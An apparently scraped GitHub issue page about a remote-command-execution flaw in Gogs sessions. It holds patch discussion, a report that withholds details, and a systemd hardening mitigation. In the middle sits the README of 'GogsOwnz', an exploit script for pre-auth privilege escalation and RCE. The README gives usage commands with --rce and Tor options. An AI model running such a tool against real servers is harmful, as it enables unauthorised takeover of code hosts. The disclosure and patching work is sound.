New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Remote command execution #5469
Comments
Fix security flaw reported by c957861129d62331c5704d2f04d11e41.
Fix security flaw reported by c957861129d62331c5704d2f04d11e41.
|
Patch has pushed to fix this issue, please test on |
|
hi, the patch can be bypassed using |
|
|
In your patch, you checked If gogs runs on Windows, so check |
|
|
|
Hmm. I think you're fixing things at the wrong level here. The issue is with the file session provider in file.go not necessarily the session.go. Each session provider should be responsible for checking whether a session id is valid for it - therefore a check where the session id is valid should be in the Exists function of each of the providers. For example, you may want to ensure that session IDs are a certain length on a database. Similarly if you're on ntfs and fat32 a session id with the path can't be more than 256 characters long due to filesystem constraints. If there are global session id validity rules you need to check them before calling m.provider.Exists. As it stands the Exists if called before these are checked in Read - I'm not sure there's anything horrible you can do with just checking if a file exists but I'm fairly sure you shouldn't be able to do that. |
|
Looking again at this the "Destory" (is this meant to be destroy?) and Regenerate methods basically allow arbitrary file creation and deletion through a similar fault. I'm not sure if these methods are available to end users to call arbitrarily but they almost certainly need checks placed on them too. |
Another fix for gogs/gogs#5469 Signed-off-by: Andrew Thornton <art27@cantab.net>
Another fix for gogs/gogs#5469 Signed-off-by: Andrew Thornton <art27@cantab.net>
…ve produced (#24) Another fix for gogs/gogs#5469 Signed-off-by: Andrew Thornton <art27@cantab.net>
Fix security flaw reported by c957861129d62331c5704d2f04d11e41.
|
This issue should finally be solved go-macaron/session#24. Thanks to @zeripath! |
Fix security flaw reported by c957861129d62331c5704d2f04d11e41.
Fix security flaw reported by c957861129d62331c5704d2f04d11e41.
Fix security flaw reported by c957861129d62331c5704d2f04d11e41.
GogsOwnz is a simple script to gain administrator rights and RCE on a Gogs/Gitea server. Exploit vulnerabilities in Gogs/Gitea, including CVE-2018-18925, CVE-2018-20303. Legal Disclaimer This script is offered as is. No warranty, use on your own, please obey the law. Typical Usage - [Please, read the full usage] Get info about Gogs/Gitea running python3 gogsownz.py https://127.0.0.1:3000/ -v --info Exploit preauth PrivEsc python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth Exploit PrivEsc python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup or alternatively python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup Exploit preauth RCE python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup Exploit auth RCE python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup Full usage usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE] [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor] [--check-tor] [--burp] [-k] [--verbose] url positional arguments: url URL for the Gogs server optional arguments: -h, --help show this help message and exit -C CREDS, --creds CREDS Credentials for the Gogs server, in the from "username:password" -n COOKIENAME, --cookie-name COOKIENAME Name of the Gogs-specific session cookie -c COOKIE, --cookie COOKIE Session for the Gogs server, the value in the i_like_gogits Cookie -i, --info Only detect informations about the running Gogs server, then quit --rce RCE Command to execute on the Gogs server --repo REPO Use an existing repo for the PrivEsc --preauth Try the pre-auth vulnerability --windows Gogs server runs on Windows --cleanup Remove all created repo after exploit --tor Use tor proxy when performing requests --check-tor Check that Tor is correctly set up before running --burp Use burp proxy when performing requests -k, --insecure Allow insecure server connections when using SSL --verbose, -v Thanks Thanks to: Tencent Security (@md5_salt, @ma7h1as and @chromium1337) PentesterLab (@snyff) LuckyC4t the gogs security community :D Further readings gogs/gogs#5469 gogs/gogs#5558 gogs/gogs@8c8c37a gogs/gogs#5599 https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf Mitigations If you take care in setting up your systemd unit file, you'll be pleasantly surprised to see that exploitation is somewhat contained: [Unit] Description=Gogs After=syslog.target After=network.target [Service] Type=simple User=gogs Group=gogs WorkingDirectory=/home/gogs/installations/gogs/ ExecStart=/home/gogs/installations/gogs/gogs web Restart=always Environment=USER=gogs HOME=/home/gogs # Some distributions may not support these hardening directives. If you cannot start the service due # to an unknown option, comment out the ones not supported by your version of systemd. ProtectSystem=full PrivateDevices=yes PrivateTmp=yes NoNewPrivileges=true [Install] WantedBy=multi-user.target This will at least keep filesystem access contained to an ephemeral filesystem created by systemd. It helps, but you should probably patch the privesc and not give any admin.. obviously
Description
I can login to arbitrary account. And when I logged in as admin, I can execute any command by git hooks.
I just tried login to Unknown's account but do not perform command execution.
As this is a very severe issue, I won't post details here.
@unknwon can you give me your email address and I send the details to you?
The text was updated successfully, but these errors were encountered: